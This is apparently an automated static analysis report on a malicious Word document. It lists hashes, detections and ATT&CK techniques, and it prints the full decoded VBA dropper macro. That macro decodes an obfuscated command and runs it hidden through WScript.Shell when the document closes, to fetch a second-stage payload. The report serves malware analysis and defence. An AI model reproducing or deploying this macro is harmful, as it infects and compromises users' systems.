Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1f29d6ffb069c12…

MALICIOUS

Office (OOXML)

36.6 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-04-18
MD5: fdc33a071fff70798295b2ec22cbf735 SHA-1: 723da0bf4eb558853763d4b4ec58243709d7e0ae SHA-256: d1f29d6ffb069c12670a264bf12a7ad4fc1c159b7f6aa61c97cd90d44289eec3
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros. The macros utilize WScript.Shell and CreateObject to execute obfuscated code, which is designed to download and run a second-stage payload. The presence of the 'Doc.Dropper.Agent-6386025-0' ClamAV signature further confirms its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6386025-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6386025-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(vincitore) < 4774 Then
    CreateObject("WScript.Shell").Run vincitore, vbHide * 4
  End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(vincitore) < 4774 Then
    CreateObject("WScript.Shell").Run vincitore, vbHide * 4
  End If
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2571 bytes
SHA-256: 724dcc3245801b70b9ed7f0eb05f447930231fbc9961d4cea131fb4074feeaca
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function plenario(monviso As Integer) As String
 residente = Array("o", "b", "i", "z", "c", "-", "E", ",", ".", "h", "=", "C", "P", "S", "e", "l", "m", "(", "x", "a", "w", "u", "A", "'", "D", "+", "r", "t", "O", "n", "/", "d", "W", "j", "g", "p", "?", "$", "v", "N", "B", "T", "y", "\", " ", ";", ")", "s", ":", "q", "F")
 Dim marmo As Integer
 
 For marmo = LBound(residente) To UBound(residente)
   If marmo = monviso Then
    plenario = residente(marmo)
   End If
 Next
 
End Function


Public Function colore(vincitore As String)
  If Len(vincitore) < 4774 Then
    CreateObject("WScript.Shell").Run vincitore, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = pioggia("3500201426470914151544053900061802274405061814044440423519474744051100161619293144173914200528013314042744134247271416083914270832140111150214292746082400202915001931500215141723092727354830300221003149293102492931212949200149201408040016301313301619290409142647090815031623074437142938482212122422412244254423434711412414222208141814234645441327192627051226000414474744371429384822121224224122234347114124142222081418142345441739142005280133140427441342472714160839142708321401111502142927460824002029150019311327260229341723092727354830300221003149293102492931212949200149201408040016304708350935360231101619290409142647092346")
 Application.Run "colore", feralo
End Sub

Function esito(ByVal pirite, ByVal placebo) As String
 
 usuraio = vbNullString
 abrasivo = Array(pirite, placebo)
 
 For oggi = 0 To UBound(abrasivo)
   usuraio = usuraio + vbNullString + abrasivo(oggi) + vbNullString
 Next
 
 esito = usuraio
End Function

Function pioggia(Optional corsia As String, Optional corsia2)
  orecchino = rotula(corsia)
  specie = vbNullString

  For marmo = 0 To Len(corsia)
    If (marmo + 1) <= UBound(orecchino) Then
    supporto = orecchino(marmo + 1)
    lusso = orecchino(marmo)
    bandire = plenario(Int(lusso + supporto))
    specie = esito(specie, bandire)
    marmo = marmo + 1
    End If
  Next
  
  pioggia = specie
End Function


Function rotula(riso As String, Optional regalato As Integer) As Variant
    rotula = Split(Left(StrConv(riso, vbUnicode), Len(StrConv(riso, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 4ba44a761d111bb861e876b70eff2c1742cf29b0593c2711451722057f183cac
Detection
ClamAV: Doc.Dropper.Agent-6386025-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.